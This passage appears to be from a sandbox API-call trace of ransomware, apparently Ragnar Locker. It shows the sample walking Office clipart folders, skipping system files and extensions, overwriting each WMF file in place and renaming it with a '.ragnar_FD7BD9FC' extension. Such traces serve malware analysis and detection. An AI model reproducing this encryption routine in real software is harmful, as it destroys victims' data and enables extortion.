returned -1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="ntuser.ini") returned -1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="thumbs.db") returned -1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.573] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 0x20 [0085.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.574] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7116) returned 1 [0085.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.574] GetProcessHeap () returned 0x580000 [0085.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.574] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.575] VirtualAlloc (lpAddress=0x0, dwSize=0x1bcc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.575] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bcc, lpOverlapped=0x0) returned 1 [0085.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.576] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.576] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bcc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bcc, lpOverlapped=0x0) returned 1 [0085.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.577] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.577] GetProcessHeap () returned 0x580000 [0085.577] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.577] CloseHandle (hObject=0xf4) returned 1 [0085.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" [0085.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ragnar_FD7BD9FC" [0085.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.578] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0085.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.578] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187849.WMF" | out: lpString1="J0187849.WMF") returned="J0187849.WMF" [0085.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned=".WMF" [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="autorun.inf") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="boot.ini") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="bootfont.bin") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="bootsect.bak") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="bootmgr") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="bootmgr.efi") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="bootmgfw.efi") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="desktop.ini") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="iconcache.db") returned 1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="ntldr") returned -1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="ntuser.dat") returned -1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="ntuser.dat.log") returned -1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="ntuser.ini") returned -1 [0085.578] lstrcmpiW (lpString1="J0187849.WMF", lpString2="thumbs.db") returned -1 [0085.578] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.579] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 0x20 [0085.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.580] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7572) returned 1 [0085.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.580] GetProcessHeap () returned 0x580000 [0085.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.580] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.581] VirtualAlloc (lpAddress=0x0, dwSize=0x1d94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.581] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d94, lpOverlapped=0x0) returned 1 [0085.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d94, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.582] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d94, lpOverlapped=0x0) returned 1 [0085.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.583] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.583] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.583] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.583] GetProcessHeap () returned 0x580000 [0085.583] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.583] CloseHandle (hObject=0xf4) returned 1 [0085.583] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" [0085.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ragnar_FD7BD9FC" [0085.583] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.584] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0085.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.584] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187851.WMF" | out: lpString1="J0187851.WMF") returned="J0187851.WMF" [0085.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned=".WMF" [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="autorun.inf") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="boot.ini") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="bootfont.bin") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="bootsect.bak") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="bootmgr") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="bootmgr.efi") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="bootmgfw.efi") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="desktop.ini") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="iconcache.db") returned 1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="ntldr") returned -1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="ntuser.dat") returned -1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="ntuser.dat.log") returned -1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="ntuser.ini") returned -1 [0085.584] lstrcmpiW (lpString1="J0187851.WMF", lpString2="thumbs.db") returned -1 [0085.584] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.585] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 0x20 [0085.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.585] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8732) returned 1 [0085.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.585] GetProcessHeap () returned 0x580000 [0085.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.585] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.587] VirtualAlloc (lpAddress=0x0, dwSize=0x221c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.587] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x221c, lpOverlapped=0x0) returned 1 [0085.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.588] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x221c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.588] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x221c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x221c, lpOverlapped=0x0) returned 1 [0085.588] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x221c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.588] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x221c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.588] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.588] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.589] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.589] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.589] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.589] GetProcessHeap () returned 0x580000 [0085.589] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.589] CloseHandle (hObject=0xf4) returned 1 [0085.589] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" [0085.589] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ragnar_FD7BD9FC" [0085.589] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.590] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0085.590] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.590] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187859.WMF" | out: lpString1="J0187859.WMF") returned="J0187859.WMF" [0085.590] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned=".WMF" [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="autorun.inf") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="boot.ini") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="bootfont.bin") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="bootsect.bak") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="bootmgr") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="bootmgr.efi") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="bootmgfw.efi") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="desktop.ini") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="iconcache.db") returned 1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="ntldr") returned -1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="ntuser.dat") returned -1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="ntuser.dat.log") returned -1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="ntuser.ini") returned -1 [0085.590] lstrcmpiW (lpString1="J0187859.WMF", lpString2="thumbs.db") returned -1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.590] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 0x20 [0085.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft 